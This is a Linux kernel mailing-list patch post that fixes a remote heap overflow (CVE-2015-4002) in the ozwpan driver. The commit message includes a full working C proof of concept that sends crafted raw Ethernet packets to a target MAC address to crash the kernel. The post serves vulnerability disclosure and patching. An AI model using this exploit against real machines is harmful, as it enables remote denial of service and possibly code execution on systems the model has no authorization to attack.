Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > linux.kernel > #1167463

[PATCH 3.19.y-ckt 003/146] ozwpan: Use proper check to prevent heap overflow

From Kamal Mostafa <kamal@canonical.com>
Newsgroups linux.kernel
Subject [PATCH 3.19.y-ckt 003/146] ozwpan: Use proper check to prevent heap overflow
Date 2015-06-18 01:50 +0200
Message-ID <pCvfH-86E-3@gated-at.bofh.it> (permalink)
References <pCu0i-6mo-5@gated-at.bofh.it>
Organization linux.* mail to news gateway

Show all headers | View raw

3.19.8-ckt2 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Reference: CVE-2015-4002
BugLink: https://bugs.launchpad.net/bugs/1463444
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
Signed-off-by: Kamal Mostafa <kamal@canonical.com>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 8ed561a..7b13dc9 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -393,10 +393,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
-					sizeof(struct oz_get_desc_rsp) + 1;
-			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
-			u16 total_size =
+			u16 offs, total_size;
+			u8 data_len;
+
+			if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
+				break;
+			data_len = elt->length -
+					(sizeof(struct oz_get_desc_rsp) - 1);
+			offs = le16_to_cpu(get_unaligned(&body->offset));
+			total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));
 			oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
 			oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

Back to linux.kernel | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread

Thread

[3.19.y-ckt stable] Linux 3.19.8-ckt2 stable review Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:30 +0200
  [PATCH 3.19.y-ckt 096/146] ktime: Fix ktime_divns to do signed division Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:30 +0200
  [PATCH 3.19.y-ckt 063/146] firmware: dmi_scan: Fix ordering of product_uuid Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:30 +0200
  [PATCH 3.19.y-ckt 104/146] xen/events: don't bind non-percpu VIRQs with percpu chip Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:30 +0200
  [PATCH 3.19.y-ckt 141/146] udp: fix behavior of wrong checksums Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:30 +0200
  [PATCH 3.19.y-ckt 009/146] Revert "usb: dwc2: add bus suspend/resume for dwc2" Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:30 +0200
  [PATCH 3.19.y-ckt 052/146] pty: Fix input race when closing Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:30 +0200
  [PATCH 3.19.y-ckt 098/146] powerpc: Align TOC to 256 bytes Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:30 +0200
  [PATCH 3.19.y-ckt 101/146] mmc: atmel-mci: fix bad variable type for clkdiv Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 130/146] Drivers: hv: vmbus: Correcting truncation error for constant HV_CRASH_CTL_CRASH_NOTIFY Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 122/146] ipv6: fix ECMP route replacement Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 136/146] unix/caif: sk_socket can disappear when state is unlocked Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 133/146] net: dp83640: fix broken calibration routine. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 127/146] staging: vt6655: vnt_tx_packet Correct TX order of OWNED_BY_NIC Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 131/146] net: core: Correct an over-stringent device loop detection. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 128/146] staging: vt6655: [BUG] Protect MACvSelectPage1 with lock. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 138/146] net_sched: invoke ->attach() after setting dev->qdisc Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 124/146] staging: vt6655: move setting of PSTxDesc->buff_addr to vnt_tx_packet Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 129/146] Drivers: hv: vmbus: Add support for VMBus panic notifier handler Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 132/146] x86: bpf_jit: fix compilation of large bpf programs Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 125/146] staging: vt6655: Fix TD_FLAGS_NETIF_SKB only on TYPE_AC0DMA Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 135/146] net: dp83640: fix improper double spin locking. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 137/146] xen/netback: Properly initialize credit_bytes Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 126/146] staging: vt6655: vnt_tx_packet fix dma_idx selection. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 134/146] net: dp83640: reinforce locking rules. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 139/146] sctp: Fix mangled IPv4 addresses on a IPv6 listening socket Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 123/146] tcp/ipv6: fix flow label setting in TIME_WAIT state Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 102/146] sd: Disable support for 256 byte/sector disks Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 119/146] ipv4: Avoid crashing in ip_error Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.19.y-ckt 103/146] s390/mm: correct return value of pmd_pfn Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 116/146] net: phy: Allow EEE for all RGMII variants Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 117/146] bridge: fix parsing of MLDv2 reports Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 120/146] ipv6: do not delete previously existing ECMP routes if add fails Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 105/146] kvm: fix crash in kvm_vcpu_reload_apic_access_page Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 111/146] crypto: s390/ghash - Fix incorrect ghash icv buffer handling. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 110/146] drm/radeon: retry dcpd fetch Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 107/146] kvm/fpu: Enable eager restore kvm FPU for MPX Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 121/146] net/ipv6/udp: Fix ipv6 multicast socket filter regression Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 056/146] perf/x86/rapl: Enable Broadwell-U RAPL support Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 115/146] conntrack: RFC5961 challenge ACK confuse conntrack LAST-ACK transition Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 113/146] rtnl/bond: don't send rtnl msg for unregistered iface Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 106/146] Revert "KVM: x86: drop fpu_activate hook" Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 114/146] net: sched: fix call_rcu() race on classifier module unloads Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 055/146] x86/vdso: Fix 'make bzImage' on older distros Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 109/146] Revert "libceph: clear r_req_lru_item in __unregister_linger_request()" Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 112/146] ipvs: fix memory leak in ip_vs_ctl.c Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 108/146] libceph: request a new osdmap if lingering request maps to no osd Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:20 +0200
  [PATCH 3.19.y-ckt 074/146] igb: Fix NULL assignment to incorrect variable in igb_reset_q_vector Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 082/146] thermal: armada: Update Armada 380 thermal sensor coefficients Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 038/146] sched: Handle priority boosted tasks proper in setscheduler() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 100/146] ALSA: hda/realtek - ALC292 dock fix for Thinkpad L450 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 076/146] ARM: net: delegate filter to kernel interpreter when imm_offset() return value can't fit into 12bits. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 080/146] clk: exynos5420: Restore GATE_BUS_TOP on suspend Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 091/146] powerpc/mce: fix off by one errors in mce event handling Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 095/146] ktime: Optimize ktime_divns for constant divisors Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 092/146] ASoC: dapm: Modify widget stream name according to prefix Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 079/146] ASoC: uda1380: Avoid accessing i2c bus when codec is disabled Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 088/146] KVM: MMU: fix CR4.SMEP=1, CR0.WP=0 with shadow pages Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 073/146] x86: bpf_jit: fix FROM_BE16 and FROM_LE16/32 instructions Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 099/146] ALSA: hda - Add Conexant codecs CX20721, CX20722, CX20723 and CX20724 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 070/146] power/reset: at91: fix return value check in at91_reset_platform_probe() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 086/146] mac80211: move WEP tailroom size check Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 084/146] ALSA: hda - fix headset mic detection problem for one more machine Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 078/146] ASoC: mc13783: Fix wrong mask value used in mc13xxx_reg_rmw() calls Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 067/146] tools/vm: fix page-flags build Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 081/146] Revert "HID: logitech-hidpp: support combo keyboard touchpad TK820" Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 093/146] ASoC: wm8960: fix "RINPUT3" audio route error Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 097/146] Input: elantech - fix semi-mt protocol for v3 HW Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 089/146] KVM: MMU: fix SMAP virtualization Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 077/146] ALSA: hda - Add headphone quirk for Lifebook E752 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 087/146] KVM: MMU: fix smap permission check Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 094/146] ASoC: wm8994: correct BCLK DIV 348 to 384 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 075/146] thermal: rockchip: fix an error code Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 064/146] ext4: fix NULL pointer dereference when journal restart fails Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 069/146] igb: Fix oops on changing number of rings Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 071/146] spi: bitbang: Make setup_transfer() callback optional Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:30 +0200
  [PATCH 3.19.y-ckt 044/146] xhci: fix isoc endpoint dequeue from advancing too far on transaction error Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 051/146] tty/n_gsm.c: fix a memory leak when gsmtty is removed Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 030/146] USB: pl2303: Remove support for Samsung I330 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 047/146] ARC: unbork !LLSC build Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 066/146] jbd2: fix r_count overflows leading to buffer overflow in journal recovery Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 046/146] xhci: gracefully handle xhci_irq dead device Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 048/146] staging: gdm724x: Correction of variable usage after applying ALIGN() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 058/146] drm/radeon: fix VM_CONTEXT*_PAGE_TABLE_END_ADDR handling Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 054/146] x86/vdso: Fix the x86 vdso2c tool includes Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 062/146] net: phy: micrel: Fix regression in kszphy_probe Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 027/146] usb: gadget: configfs: Fix interfaces array NULL-termination Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 045/146] xhci: Solve full event ring by increasing TRBS_PER_SEGMENT to 256 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 028/146] rtlwifi: rtl8192cu: Fix kernel deadlock Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 059/146] RDMA/core: Fix for parsing netlink string attribute Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 033/146] nfsd: fix the check for confirmed openowner in nfs4_preprocess_stateid_op Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 041/146] staging: vt6655: Fix 80211 control and management status reporting. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 061/146] parisc,metag: Fix crashes due to stack randomization on stack-grows-upwards architectures Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 068/146] mm, numa: really disable NUMA balancing by default on single node machines Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 039/146] staging: vt6656: use ieee80211_tx_info to select packet type. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 032/146] net: can: xilinx_can: fix extended frame handling Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 072/146] iwlwifi: pcie: prevent using unmapped memory in fw monitor Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 034/146] svcrpc: fix potential GSSX_ACCEPT_SEC_CONTEXT decoding failures Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 049/146] usb-storage: Add NO_WP_DETECT quirk for Lacie 059f:0651 devices Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 057/146] net: qca_spi: Fix possible race during probe Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 050/146] ahci: avoton port-disable reset-quirk Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 037/146] md/raid5: don't record new size if resize_stripes fails. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 040/146] staging: vt6655: device_free_tx_buf use only ieee80211_tx_status_irqsafe Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 042/146] staging: vt6655: lock MACvWriteBSSIDAddress. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 060/146] drm/radeon: add new bonaire pci id Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 035/146] libata: Blacklist queued TRIM on all Samsung 800-series Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 053/146] ARM: net fix emit_udiv() for BPF_ALU | BPF_DIV | BPF_K intruction. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 031/146] USB: visor: Match I330 phone more precisely Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 043/146] arm64: bpf: fix signedness bug in loading 64-bit immediate Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:40 +0200
  [PATCH 3.19.y-ckt 018/146] iio: light: hid-sensor-prox: Fix modifier Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 003/146] ozwpan: Use proper check to prevent heap overflow Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 001/146] ozwpan: Use unsigned ints to prevent heap overflow Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 022/146] iio: adc: xilinx: Fix VREFP scale Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 012/146] x86: vdso: fix pvclock races with task migration Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 020/146] iio: adc: xilinx: Fix register addresses Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 023/146] iio: adc: xilinx: Fix VREFN sign Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 021/146] iio: adc: xilinx: Fix "vccaux" channel .address Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 025/146] libata: Ignore spurious PHY event on LPM policy change Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 004/146] ozwpan: unchecked signed subtraction leads to DoS Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 008/146] HID: add quirk for PIXART OEM mouse used by HP Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 002/146] ozwpan: divide-by-zero leading to panic Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 005/146] x86: kvm: Revert "remove sched notifier for cross-cpu migrations" Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 026/146] iio:st_sensors: Fix oops when probing SPI devices Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 014/146] jhash: Update jhash_[321]words functions to use correct initval Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 029/146] USB: cp210x: add ID for KCF Technologies PRN device Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 016/146] bridge/mdb: remove wrong use of NLM_F_MULTI Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 013/146] nfsd: fix nsfd startup race triggering BUG_ON Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 007/146] HID: add HP OEM mouse to quirk ALWAYS_POLL Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 019/146] iio: pressure: hid-sensor-press: Fix modifier Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 011/146] usb: isp1760: hcd: use new USB_RESUME_TIMEOUT Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 017/146] iio/axp288_adc: add missing channel info mask Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200
  [PATCH 3.19.y-ckt 010/146] usb: dwc2: hcd: use new USB_RESUME_TIMEOUT Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:50 +0200

csiph-web